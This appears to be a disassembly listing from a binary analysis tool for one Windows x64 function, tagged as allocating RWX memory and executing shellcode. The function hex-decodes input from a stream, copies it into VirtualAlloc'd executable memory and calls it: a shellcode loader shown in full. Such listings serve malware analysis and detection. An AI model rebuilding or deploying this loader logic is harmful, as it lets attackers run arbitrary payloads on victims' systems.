Function at 0x140001290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xa0]
call fcn.140002a10
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov r14d, ebx
mov qword [rbp - 0x78], rbx
mov esi, 0xf
mov qword [rbp - 0x70], rsi
mov byte [rsp + 0x78], bl
cmp qword [rbp + 0x130], rbx
je 0x1400014e1
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140005660]
mov qword [rbp - 0x60], rax
lea rax, [0x1400055a0]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 1
xor r8d, r8d
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x60], rdi
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x20], rbx
mov dword [rbp + 0x28], ebx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140005680]
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x30], 5
movups xmmword [rsp + 0x60], xmm0
mov ecx, dword [rbp + 0x28]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000140c
mov rax, qword [rbp - 8]
mov r8, qword [rax]
test r8, r8
je 0x14000140c
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x20]
cmovb r8, qword [rbp + 0x20]
sub r8, rdx
jmp 0x14000143d
test cl, 4
jne 0x140001433
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x140001433
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
mov rax, qword [rbp + 8]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x14000143d
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140001452
lea rcx, [rsp + 0x40]
call fcn.140002ff0
movdqu xmm1, xmmword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm1
movq r14, xmm1
mov r15, r14
shr r15, 1
lea rcx, [rbp + 0xb0]
call fcn.140002f30
test rax, rax
jne 0x14000149f
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], rdi
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call fcn.140001d30
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rsi, qword [rbp - 0x70]
jmp 0x1400014e6
mov r15, qword [rsp + 0x38]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
mov rdi, qword [rsp + 0x78]
test r14, r14
je 0x1400015ad
mov r8, rbx
cmp rsi, 0x10
setae r9b
nop dword [rax + rax]
lea rax, [rsp + 0x78]
cmp rsi, 0x10
cmovae rax, rdi
movzx eax, byte [r8 + rax]
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x14000152e
sub al, 0x30
jmp 0x140001548
lea ecx, [rax - 0x61]
cmp cl, 5
ja 0x14000153a
sub al, 0x57
jmp 0x140001548
lea ecx, [rax - 0x41]
cmp cl, 5
ja 0x140001546
sub al, 0x37
jmp 0x140001548
xor al, al
lea rcx, [rsp + 0x78]
test r9b, r9b
cmovne rcx, rdi
movzx edx, byte [r8 + rcx + 1]
lea ecx, [rdx - 0x30]
cmp cl, 9
ja 0x140001567
sub dl, 0x30
jmp 0x140001583
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x140001574
sub dl, 0x57
jmp 0x140001583
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x140001581
sub dl, 0x37
jmp 0x140001583
xor dl, dl
shl al, 4
add al, dl
mov ecx, ebx
test ebx, ebx
jns 0x140001591
lea ecx, [rbx + 1]
sar ecx, 1
movsxd rcx, ecx
mov byte [rcx + r12], al
add ebx, 2
add r8, 2
movsxd rax, ebx
cmp rax, r14
jb 0x140001510
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, r15
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
nop
cmp rsi, 0x10
jb 0x140001613
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000160a
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000160a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400034dc
nop
lea rcx, [rbp + 0xa0]
call fcn.140001660
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140003480
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret